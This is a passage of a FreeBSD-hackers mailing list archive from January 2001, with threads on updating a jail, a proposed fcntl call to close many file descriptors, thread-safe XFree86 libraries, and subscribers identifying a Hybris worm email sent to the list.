X-Authentication-Warning: thelab.hub.org: scrappy owned process doing -bs Date: Mon, 29 Jan 2001 10:10:14 -0400 (AST) From: The Hermit Hacker To: Stefan Aeschbacher Cc: Subject: Re: update jail In-Reply-To: <3A753BC5.4D3A37EF@aeschbacher.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Sorry, my fault, I should have responded back after I had tested it ... yes, the below worked quite nicely for me *nod* On Mon, 29 Jan 2001, Stefan Aeschbacher wrote: > Hi > what is the correct way to update the world in a jail? > something like this? > > D=/path/to/jail > cd /usr/src > make update > make buildworld > make installworld > make installworld DESTDIR=$D > mergemaster > mergemaster -D $D > > (did not find any answers to this question even though > it was asked several times in some mailinglists) > > Stefan > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > Marc G. Fournier ICQ#7615664 IRC Nick: Scrappy Systems Administrator @ hub.org primary: scrappy@hub.org secondary: scrappy@{freebsd|postgresql}.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 6:15:15 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from gw.nectar.com (gw.nectar.com [208.42.49.153]) by hub.freebsd.org (Postfix) with ESMTP id 0EDAD37B69D for ; Mon, 29 Jan 2001 06:14:57 -0800 (PST) Received: from hamlet.nectar.com (hamlet.nectar.com [10.0.1.102]) by gw.nectar.com (Postfix) with ESMTP id 9FDCD193E5; Mon, 29 Jan 2001 08:14:55 -0600 (CST) Received: (from nectar@localhost) by hamlet.nectar.com (8.11.1/8.9.3) id f0TEEtS02428; Mon, 29 Jan 2001 08:14:55 -0600 (CST) (envelope-from nectar@spawn.nectar.com) Date: Mon, 29 Jan 2001 08:14:55 -0600 From: "Jacques A. Vidrine" To: mouss Cc: Garance A Drosihn , Matt Dillon , Luigi Rizzo , hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu Subject: Re: [kernel patch] fcntl(...) to close many descriptors Message-ID: <20010129081455.B2390@hamlet.nectar.com> References: <200101290303.f0T33qg60603@earth.backplane.com> <200101281837.f0SIbGI24332@iguana.aciri.org> <200101290303.f0T33qg60603@earth.backplane.com> <4.3.0.20010129145823.023dfeb0@pop.free.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <4.3.0.20010129145823.023dfeb0@pop.free.fr>; from usebsd@free.fr on Mon, Jan 29, 2001 at 03:13:05PM +0100 X-Url: http://www.nectar.com/ Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, Jan 29, 2001 at 03:13:05PM +0100, mouss wrote: > I fully agree that we'd better mimic netbsd than aix... > but the netbsd closeall() is just a libc function that calls close() > for all descriptors. so we can still mimic it with: > > #define closeall(start) fcntl(start, F_CLOSEM, 0) Better a function than a macro. > and with this, we have both netbsd and aix compat. note that if I > do it for freebsd, I'll do the same for netbsd and openbsd (I'm a fan of > *BSD convergence [I don't mean they should be the same, but unjustified > diffs should be killed whenever possible]:). > > As for the "generic" syscall mechanism, I'd love it. I think that > there are many places where "names" would be good, instead of > hardcoded numbers. The only problem is to find a way to do that > without reducing performance. names are good. just try to see what it > would be if filenames were replaced by inodes. I think that having a > name-based mechanism makes it easier to add new syscalls or reject > deprecated ones. Performance is not much of an issue. A perfect hash can be generated for syscall names. [snip] > back to the closeall, here is what I suggest: > - add the fcntl option. the coherence arg is certainly reasonable, but > fcntl is not a "cohrent" function > (thanks to svr4 lobbying into posix:). > - add a closeall macro to call it. > > this gives both aix and netbsd compat (and if the fcntl thing goes into > netbsd, the compat would be full). I really do not care for using fcntl with this. fcntl operates on a single file descriptor -- F_CLOSEM mucks up the interface. -- Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 6:25:54 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3]) by hub.freebsd.org (Postfix) with ESMTP id 805E637B6A0 for ; Mon, 29 Jan 2001 06:25:29 -0800 (PST) Received: (from eischen@localhost) by pcnet1.pcnet.com (8.8.7/PCNet) id JAA09719; Mon, 29 Jan 2001 09:25:03 -0500 (EST) Date: Mon, 29 Jan 2001 09:25:02 -0500 (EST) From: Daniel Eischen To: "Jacques A. Vidrine" Cc: mouss , Garance A Drosihn , Matt Dillon , Luigi Rizzo , hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <20010129081455.B2390@hamlet.nectar.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 Jan 2001, Jacques A. Vidrine wrote: > On Mon, Jan 29, 2001 at 03:13:05PM +0100, mouss wrote: > > I fully agree that we'd better mimic netbsd than aix... > > but the netbsd closeall() is just a libc function that calls close() > > for all descriptors. so we can still mimic it with: > > > > #define closeall(start) fcntl(start, F_CLOSEM, 0) > > Better a function than a macro. I agree. > > and with this, we have both netbsd and aix compat. note that if I > > do it for freebsd, I'll do the same for netbsd and openbsd (I'm a fan of > > *BSD convergence [I don't mean they should be the same, but unjustified > > diffs should be killed whenever possible]:). > > > > As for the "generic" syscall mechanism, I'd love it. I think that > > there are many places where "names" would be good, instead of > > hardcoded numbers. The only problem is to find a way to do that > > without reducing performance. names are good. just try to see what it > > would be if filenames were replaced by inodes. I think that having a > > name-based mechanism makes it easier to add new syscalls or reject > > deprecated ones. > > Performance is not much of an issue. A perfect hash can be generated > for syscall names. > > [snip] > > back to the closeall, here is what I suggest: > > - add the fcntl option. the coherence arg is certainly reasonable, but > > fcntl is not a "cohrent" function > > (thanks to svr4 lobbying into posix:). > > - add a closeall macro to call it. > > > > this gives both aix and netbsd compat (and if the fcntl thing goes into > > netbsd, the compat would be full). > > I really do not care for using fcntl with this. fcntl operates on a > single file descriptor -- F_CLOSEM mucks up the interface. Please don't forget libc_r and what it has to do when opening and closing files. Also, close(2) is a cancellation point. I'd expect closeall(2/3) would also be a cancellation point even if not spelled out in POSIX (since it doesn't exist). -- Dan Eischen To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 7: 5:48 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from acl.lanl.gov (acl.lanl.gov [128.165.147.1]) by hub.freebsd.org (Postfix) with ESMTP id E9B2A37B69F; Mon, 29 Jan 2001 07:05:31 -0800 (PST) Received: from mini.acl.lanl.gov (root@mini.acl.lanl.gov [128.165.147.34]) by acl.lanl.gov (8.8.8/8.8.5) with ESMTP id IAA7583059; Mon, 29 Jan 2001 08:05:30 -0700 (MST) Received: from localhost (rminnich@localhost) by mini.acl.lanl.gov (8.9.3/8.8.8) with ESMTP id IAA17352; Mon, 29 Jan 2001 08:05:30 -0700 X-Authentication-Warning: mini.acl.lanl.gov: rminnich owned process doing -bs Date: Mon, 29 Jan 2001 08:05:30 -0700 (MST) From: Ronald G Minnich X-Sender: To: Hahaha Cc: , , Subject: Re: Snowhite and the Seven Dwarfs - The REAL story! In-Reply-To: <0G7X00J6W0NLJN@mta6.snfc21.pbi.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 Jan 2001, Hahaha wrote: > Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and > polite with Snowhite. When they go out work at mornign, they promissed a > *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the Seven > Dwarfs enter... > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 7:18: 7 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from acl.lanl.gov (acl.lanl.gov [128.165.147.1]) by hub.freebsd.org (Postfix) with ESMTP id 6855137B6AC; Mon, 29 Jan 2001 07:17:48 -0800 (PST) Received: from mini.acl.lanl.gov (root@mini.acl.lanl.gov [128.165.147.34]) by acl.lanl.gov (8.8.8/8.8.5) with ESMTP id IAA7613320; Mon, 29 Jan 2001 08:17:45 -0700 (MST) Received: from localhost (rminnich@localhost) by mini.acl.lanl.gov (8.9.3/8.8.8) with ESMTP id IAA17380; Mon, 29 Jan 2001 08:17:45 -0700 X-Authentication-Warning: mini.acl.lanl.gov: rminnich owned process doing -bs Date: Mon, 29 Jan 2001 08:17:45 -0700 (MST) From: Ronald G Minnich X-Sender: To: Cc: , Subject: Re: Snowhite and the Seven Dwarfs - The REAL story! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 29 Jan 2001, Ronald G Minnich wrote: > On Mon, 29 Jan 2001, Hahaha wrote: > > > Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and > > polite with Snowhite. When they go out work at mornign, they promissed a > > *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the Seven > > Dwarfs enter... uh, sorry about that last stupid email thing I just sent somehow. I'm not even sure what I did. Time for coffee. ron To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 7:25:52 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from webpimps.net (cc889338-a.slbch1.occa.home.com [24.0.207.185]) by hub.freebsd.org (Postfix) with ESMTP id 5AFF737B6B1 for ; Mon, 29 Jan 2001 07:25:29 -0800 (PST) Received: from WorldClient [127.0.0.1] by webpimps.net [127.0.0.1] with SMTP (MDaemon.v3.1.2.R) for ; Mon, 29 Jan 2001 07:26:34 -0800 Date: Mon, 29 Jan 2001 07:26:34 -0800 From: "Aaron" To: freebsd-questions@freebsd.org Cc: freebsd-hackers@freebsd.org Subject: X-Mailer: WorldClient Standard 3.1.2 X-MDRcpt-To: freebsd-multimedia@freebsd.org X-MDRemoteIP: 127.0.0.1 X-Return-Path: click46@webpimps.net X-MDaemon-Deliver-To: freebsd-hackers@freebsd.org Message-Id: <20010129152529.5AFF737B6B1@hub.freebsd.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello, I have FreeBSD 4-STABLE running a binary install of XFree86 4.0.2. After installing xine from sources, I get a message saying I dont have Thread-safe X libraries and it wont run. I've scoured google and many newsgroups in search of anything on getting these "thread safe" libraries. Can anyone point me in the right direction as to how to obtain these files, and add them or make sure they are added, for XFree86 4.0.2 binary. I'm not too keen on compiling the whole thing... As always, I tried to do my research before submitting to the list...last ditch effort here. I even tried XFree86's list to no avail. Any help is greatly appriciated. peace - click46 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 7:43:53 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from alpha.dante.org.uk (alpha.dante.org.uk [193.63.211.19]) by hub.freebsd.org (Postfix) with ESMTP id 7F2CF37B69B; Mon, 29 Jan 2001 07:43:29 -0800 (PST) Received: from theta.dante.org.uk ([193.63.211.7] helo=dante.org.uk) by alpha.dante.org.uk with esmtp (Exim 3.12 #4) id 14NGSM-00022Q-00; Mon, 29 Jan 2001 15:43:02 +0000 Message-ID: <3A758F83.9B5C62BF@dante.org.uk> Date: Mon, 29 Jan 2001 15:42:59 +0000 From: Konstantin Chuguev Organization: Delivery of Advanced Network Technology to Europe Ltd. X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.6 sun4u) X-Accept-Language: ru, en MIME-Version: 1.0 To: Aaron Cc: freebsd-questions@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: ports/x11/XFree86-4/files/patch-xthreads: broken in CURRENT? References: <20010129152529.5AFF737B6B1@hub.freebsd.org> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Aaron wrote: > Hello, > I have FreeBSD 4-STABLE running a binary install of XFree86 4.0.2. > After installing xine from sources, I get a message saying I dont have > Thread-safe X libraries and it wont run. I've scoured google and many > newsgroups in search of anything on getting these "thread safe" libraries. > Can anyone point me in the right direction as to how to obtain these > files, and add them or make sure they are added, for XFree86 4.0.2 > binary. I'm not too keen on compiling the whole thing... > > As always, I tried to do my research before submitting to the > list...last ditch effort here. I even tried XFree86's list to no avail. > > Any help is greatly appriciated. > There is a patch in the ports/x11/XFree86-4/files/patch-xthreads (of December 2000) which is supposed to turn on XTHREADS for FreeBSD. Either you'll need to find the fresh X binary package, or to compile everything yourself. Interesting that on my CURRENT (of 5 January 2001; ports of 26 January) this patch breaks compilation of Xlib. Everything's fine whan it's removed. I haven't got any messages about missing libraries yet, but maybe just because I didn't try anything like xine... -- * * Konstantin Chuguev - Application Engineer * * Francis House, 112 Hills Road * Cambridge CB2 1PQ, United Kingdom D A N T E WWW: http://www.dante.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 8: 7:31 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mail1.chat.ru (mail1.chat.ru [212.24.32.14]) by hub.freebsd.org (Postfix) with ESMTP id 06D9337B400 for ; Mon, 29 Jan 2001 08:07:13 -0800 (PST) Received: from gnu.chat.ru ([212.24.32.10] helo=mail.chat.ru) by mail1.chat.ru with esmtp (Exim 3.22 #2) id 14NGpe-000Fue-00 for hackers@freebsd.org; Mon, 29 Jan 2001 19:07:06 +0300 Received: from root by mail.chat.ru with local (Exim 3.22 #2) id 14NGmU-0002x2-00 for hackers@FreeBSD.ORG; Mon, 29 Jan 2001 19:03:50 +0300 From: Mailer-Daemon@chat.ru Reply-To: owner-freebsd-hackers-digest@freebsd.org To: hackers@FreeBSD.ORG Subject: Virus in your letter In-Reply-To: Message-Id: Date: Mon, 29 Jan 2001 19:03:50 +0300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ÷ÁÛÅ ÐÉÓØÍÏ ÎÅ ÂÙÌÏ ÄÏÓÔÁ×ÌÅÎÏ ÐÏ ÎÁÚÎÁÞÅÎÉÀ. AVP ÏÂÎÁÒÕÖÉÌ × ÎÅÍ ×ÉÒÕÓ ÉÌÉ ÔÒÏÑÎ: '/[From: Hahaha ][Date: Mon, 29 Jan 2001 00:23:48 -0800 (PST)]:\joke.exe infected: I-Worm.Hybris.b /var/spool/exim/input/T/14NGmT-0002wi-00-D/[From: Hahaha ][Date: Mon, 29 Jan 2001 00:23:12 -0800 (PST)]:\sexy infected: I-Worm.Hybris.b'. ðÒÏ×ÅÒØÔÅ Ó×ÏÊ ËÏÍÐØÀÔÅÒ ! ============================================================ From: owner-freebsd-hackers-digest@FreeBSD.ORG (freebsd-hackers-digest) To: freebsd-hackers-digest@FreeBSD.ORG Subject: freebsd-hackers-digest V5 #23 ============================================================ http://www.chat.ru http://www.avp.ru To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 8:58: 5 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from iguana.aciri.org (iguana.aciri.org [192.150.187.36]) by hub.freebsd.org (Postfix) with ESMTP id 2B16737B69C for ; Mon, 29 Jan 2001 08:57:45 -0800 (PST) Received: (from rizzo@localhost) by iguana.aciri.org (8.11.1/8.11.1) id f0TGveG33419; Mon, 29 Jan 2001 08:57:40 -0800 (PST) (envelope-from rizzo) From: Luigi Rizzo Message-Id: <200101291657.f0TGveG33419@iguana.aciri.org> Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <4.3.0.20010129151413.023e03a0@pop.free.fr> from mouss at "Jan 29, 2001 3:17:22 pm" To: usebsd@free.fr (mouss) Date: Mon, 29 Jan 2001 08:57:40 -0800 (PST) Cc: rizzo@aciri.org, drosih@rpi.edu, hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG hi, i have to admit i am not too much into theory of hashing, but i am unclear on how a perfect hash function can be simpler than "the obvious method" when the namespace is changing dynamically because modules are added or deleted. (the obvious method would be a cheap hash on 2-4 chars of the name followed by a scan of the list in each hash slot.) Hopefully the number of functions using this method is small enough not to worry about the depth of the lists, and the type of calls using this method is one where the amt of work in the syscall itself is way larger than the matching cost. cheers luigi > > generic_syscall("fdcloseall", ....); > > > >In this way it would be clear what the non-portable pieces of code > >are, and the mechanism would be extensible with no changes to > >libraries and syscalls. You could even have dynamically-loaded > >modules implementing new "syscalls". > > I see a meachanism like > new_syscall(str, args) = syscall(hash(str), args) > where hash() is chosen to guarantee unicity (that wouldn't be hard to find). > we then have both performance (working with indexes instead of comparing > strings) like what is currently available, and the flexibility of strings. > > Note that this goes in the same dynamic "wind" than loadable modules and > the like: static gets old... > > > cheers, > mouss To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 8:59: 9 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from mb2i0.ns.pitt.edu (mb2i0.ns.pitt.edu [136.142.186.36]) by hub.freebsd.org (Postfix) with ESMTP id A576337B699 for ; Mon, 29 Jan 2001 08:58:51 -0800 (PST) Received: from pitt.edu ("port 1295"@[136.142.89.21]) by pitt.edu (PMDF V5.2-32 #41462) with ESMTP id <01JZH8T939W600AVZ7@mb2i0.ns.pitt.edu> for hackers@FreeBSD.ORG; Mon, 29 Jan 2001 11:58:45 EST Date: Mon, 29 Jan 2001 12:11:29 -0500 From: "Pedro F. Giffuni" Subject: Re: Snowhite and the Seven Dwarfs - The REAL story! To: hackers@FreeBSD.ORG Message-id: <3A75A441.3E3347EE@pitt.edu> Organization: University of Pittsburgh MIME-version: 1.0 X-Mailer: Mozilla 4.76 [en] (Win98; U) Content-type: multipart/mixed; boundary="------------E9656E358D6708A3035E4DAD" X-Accept-Language: en,pdf,es-CO References: <0G7X00J6W0NLJN@mta6.snfc21.pbi.net> <20010129200002V.pat@jantar.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------E9656E358D6708A3035E4DAD Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Definitely a virus! Virus W95.Hybris.Gen.dr found. File NOT cleaned. Pedro. Patryk Zadarnowski wrote: > > On Mon, 29 Jan 2001 00:23:48 -0800 (PST), Hahaha wrote: > > > Today, Snowhite was turning 18. The 7 Dwarfs always where very educated and > > polite with Snowhite. When they go out work at mornign, they promissed a > > *huge* surprise. Snowhite was anxious. Suddlently, the door open, and the > > Seven Dwarfs enter... > > That must be the most amusing Windows virus I've ever seen (it is a virus, > isn't it?). Four spelling mistakes and five grammar problems in four lines of > text, probably sent to millions of people. > > A few months ago someone suggested that all binary attachments should be > stripped from freebsd-hackers mail. I believe it is still a very good idea, > and patches tend to be posted as text anyway. > > Pat. > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Patryk Zadarnowski University of New South Wales > School of Computer Science and Engineering > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message --------------E9656E358D6708A3035E4DAD Content-Type: text/x-vcard; charset=us-ascii; name="pfg1.vcf" Content-Transfer-Encoding: 7bit Content-Description: Card for Pedro F. Giffuni Content-Disposition: attachment; filename="pfg1.vcf" begin:vcard n:Giffuni;Pedro tel;fax:1 (360) 343-0501 tel;home:(412) 665 2956 tel;work:(412) 624-9862 x-mozilla-html:FALSE url:http://www.geocities.com/giffunip/ org:University of Pittsburgh;Industrial Engineering adr:;;5820 Elwood St. Apt. 34;Pittsburgh;PA;15232;USA version:2.1 email;internet:giffunip@asme.org title:Teaching Assistant fn:Pedro F. Giffuni end:vcard --------------E9656E358D6708A3035E4DAD-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 9:29:20 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 0F01B37B404 for ; Mon, 29 Jan 2001 09:29:01 -0800 (PST) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id MAA35556; Mon, 29 Jan 2001 12:28:40 -0500 (EST) (envelope-from wollman) Date: Mon, 29 Jan 2001 12:28:40 -0500 (EST) From: Garrett Wollman Message-Id: <200101291728.MAA35556@khavrinen.lcs.mit.edu> To: Luigi Rizzo Cc: hackers@FreeBSD.ORG Subject: Re: [kernel patch] fcntl(...) to close many descriptors In-Reply-To: <200101282045.f0SKjAN25209@iguana.aciri.org> References: <20010128143117.A22348@spawn.nectar.com> <200101282045.f0SKjAN25209@iguana.aciri.org> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG < said: > kind-of, though the function name should be a string and not > an integer (easier to extend/allocate), and it should allow > return values in user-supplied buffers, same as ioctl/fcntl > calls do. dlsym() -GAWollman To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 9:38:36 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from earth.backplane.com (earth-nat-cw.backplane.com [208.161.114.67]) by hub.freebsd.org (Postfix) with ESMTP id A969437B402 for ; Mon, 29 Jan 2001 09:38:14 -0800 (PST) Received: (from dillon@localhost) by earth.backplane.com (8.11.1/8.9.3) id f0THbWg65163; Mon, 29 Jan 2001 09:37:32 -0800 (PST) (envelope-from dillon) Date: Mon, 29 Jan 2001 09:37:32 -0800 (PST) From: Matt Dillon Message-Id: <200101291737.f0THbWg65163@earth.backplane.com> To: "Jacques A. Vidrine" Cc: mouss , Garance A Drosihn , Luigi Rizzo , hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu Subject: Re: [kernel patch] fcntl(...) to close many descriptors References: <200101290303.f0T33qg60603@earth.backplane.com> <200101281837.f0SIbGI24332@iguana.aciri.org> <200101290303.f0T33qg60603@earth.backplane.com> <4.3.0.20010129145823.023dfeb0@pop.free.fr> <20010129081455.B2390@hamlet.nectar.com> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :> As for the "generic" syscall mechanism, I'd love it. I think that :> there are many places where "names" would be good, instead of :> hardcoded numbers. The only problem is to find a way to do that :> without reducing performance. names are good. just try to see what it :> would be if filenames were replaced by inodes. I think that having a :> name-based mechanism makes it easier to add new syscalls or reject :> deprecated ones. : :Performance is not much of an issue. A perfect hash can be generated :for syscall names. This is a bad idea. One of the reasons why it is so easy for us to write portability modules for Sun, Linux, etc... is because of the hard-coded syscall numbers. Syscalls work plenty well enough as they are now, we do not need a new mechansm. :> (thanks to svr4 lobbying into posix:). :> - add a closeall macro to call it. :> :> this gives both aix and netbsd compat (and if the fcntl thing goes into :> netbsd, the compat would be full). : :I really do not care for using fcntl with this. fcntl operates on a :single file descriptor -- F_CLOSEM mucks up the interface. : :-- :Jacques Vidrine / n@nectar.com / jvidrine@verio.net / nectar@FreeBSD.org mmap() is overloaded for MAP_ANON. fcntl() may not be perfect, but it's better then adding a new syscall. The libc closeall() code (I'm assuming that Mouss does not intend to actually use a #define) could do the fcntl(), and if it fails fall back to close()ing descriptors in a loop. Perfect! -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 9:52:52 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 0EAFB37B699 for ; Mon, 29 Jan 2001 09:52:33 -0800 (PST) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id f0THpbL09259; Mon, 29 Jan 2001 09:51:37 -0800 Date: Mon, 29 Jan 2001 09:51:37 -0800 From: Brooks Davis To: Wes Peters Cc: GLOBALLINK2001@aol.com, freebsd-hackers@freebsd.org Subject: Re: Kernel Hacking (i tried not to make it lame) Message-ID: <20010129095137.A7991@Odin.AC.HMC.Edu> References: <8c.189517c.27a24307@aol.com> <3A71995A.E39E0884@softweyr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <3A71995A.E39E0884@softweyr.com>; from wes@softweyr.com on Fri, Jan 26, 2001 at 08:35:54AM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jan 26, 2001 at 08:35:54AM -0700, Wes Peters wrote: > Several others have made good replies to this, but here's another thought: > The best way to learn something is to have a goal in mind. If you understand > C pretty well, pick a PR out of the problem report database and start working > on that. It will give you a starting point and a goal. Another place other then the PR system to find a goal is on of PHK's periodic tasks for "Junior Kernel Hackers" sorts of posts. For instance I implemetend the almost-clone hack on the snp device which was an intresting experience. -- Brooks -- Any statement of the form "X is the one, true Y" is FALSE. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 10: 5:16 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.nettoll.com (matrix.nettoll.net [212.155.143.61]) by hub.freebsd.org (Postfix) with ESMTP id A242637B699 for ; Mon, 29 Jan 2001 10:04:56 -0800 (PST) Received: by smtp.nettoll.com; Mon, 29 Jan 2001 18:58:59 +0100 (MET) Message-Id: <4.3.0.20010129191139.064648d0@pop.free.fr> X-Sender: usebsd@pop.free.fr X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Mon, 29 Jan 2001 19:12:55 +0100 To: Matt Dillon , "Jacques A. Vidrine" From: mouss Subject: Re: [kernel patch] fcntl(...) to close many descriptors Cc: Garance A Drosihn , Luigi Rizzo , hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu In-Reply-To: <200101291737.f0THbWg65163@earth.backplane.com> References: <200101290303.f0T33qg60603@earth.backplane.com> <200101281837.f0SIbGI24332@iguana.aciri.org> <200101290303.f0T33qg60603@earth.backplane.com> <4.3.0.20010129145823.023dfeb0@pop.free.fr> <20010129081455.B2390@hamlet.nectar.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 09:37 29/01/01 -0800, Matt Dillon wrote: > This is a bad idea. One of the reasons why it is so easy for us to > write portability modules for Sun, Linux, etc... is because of the > hard-coded syscall numbers. Syscalls work plenty well enough as they > are now, we do not need a new mechansm. true, but if the same idea gets adopted by those many OSes, then it's a benefit for them all. just how PAM came: it was non-portabble before adoption! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Mon Jan 29 10: 6:21 2001 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp.nettoll.com (matrix.nettoll.net [212.155.143.61]) by hub.freebsd.org (Postfix) with ESMTP id 750C837B400 for ; Mon, 29 Jan 2001 10:06:01 -0800 (PST) Received: by smtp.nettoll.com; Mon, 29 Jan 2001 19:02:47 +0100 (MET) Message-Id: <4.3.0.20010129191306.061fb3e0@pop.free.fr> X-Sender: usebsd@pop.free.fr X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Mon, 29 Jan 2001 19:16:43 +0100 To: Luigi Rizzo From: mouss Subject: Re: [kernel patch] fcntl(...) to close many descriptors Cc: rizzo@aciri.org, drosih@rpi.edu, hackers@FreeBSD.ORG, wollman@khavrinen.lcs.mit.edu In-Reply-To: <200101291657.f0TGveG33419@iguana.aciri.org> References: <4.3.0.20010129151413.023e03a0@pop.free.fr> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 08:57 29/01/01 -0800, Luigi Rizzo wrote: >hi, >i have to admit i am not too much into theory of hashing, but i am >unclear on how a perfect hash function can be simpler than "the >obvious method" when the namespace is changing dynamically because >modules are added or deleted. >(the obvious method would be a cheap hash on 2-4 chars of >the name followed by a scan of the list in each hash slot.) one way would be to rehash when a syscall is added. hopefully, you want spend your time adding'em. but it is probable that even this is unneded, though one still needs to check. for example, when adding named_syscall("foo", args), you compute hash("foo") using the "current hash function, you try to insert it, and if you have a collision, you recompute the hashes. but, yes, this is over-engineering... >Hopefully the number of functions using this method is 